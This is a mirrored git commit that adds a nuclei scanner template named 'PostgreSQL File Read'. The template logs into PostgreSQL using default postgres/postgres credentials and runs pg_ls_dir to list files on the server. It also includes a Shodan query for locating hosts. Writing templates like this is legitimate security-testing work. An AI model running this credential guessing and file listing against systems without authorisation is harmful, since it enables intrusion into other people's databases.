mirror of
https://github.com/projectdiscovery/nuclei-templates.git
synced 2026-02-02 00:33:27 +08:00
JS - pgsql
This commit is contained in:
42
javascript/enumeration/pgsql/pgsql-file-read.yaml
Normal file
42
javascript/enumeration/pgsql/pgsql-file-read.yaml
Normal file
@@ -0,0 +1,42 @@
|
||||
id: postgresql-file-read
|
||||
|
||||
info:
|
||||
name: PostgreSQL File Read
|
||||
author: pussycat0x
|
||||
severity: info
|
||||
description: |
|
||||
Read and list the files within the PostgreSQL database,
|
||||
reference:
|
||||
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md#postgresql-file-read
|
||||
metadata:
|
||||
shodan-query: product:"PostgreSQL"
|
||||
tags: js,network,postgresql
|
||||
|
||||
javascript:
|
||||
- code: |
|
||||
const postgres = require('nuclei/postgres');
|
||||
const client = new postgres.PGClient;
|
||||
connected = client.ExecuteQuery(Host, Port, User, Pass, Db, "select pg_ls_dir('./');");
|
||||
Export(connected);
|
||||
|
||||
args:
|
||||
Host: "{{Host}}"
|
||||
Port: 5432
|
||||
User: "{{usernames}}"
|
||||
Pass: "{{password}}"
|
||||
Db: "{{database}}"
|
||||
|
||||
payloads:
|
||||
usernames:
|
||||
- postgres
|
||||
database:
|
||||
- postgres
|
||||
password:
|
||||
- postgres
|
||||
|
||||
attack: clusterbomb
|
||||
|
||||
extractors:
|
||||
- type: json
|
||||
json:
|
||||
- '.Rows[].pg_ls_dir'
|
||||
Reference in New Issue
Block a user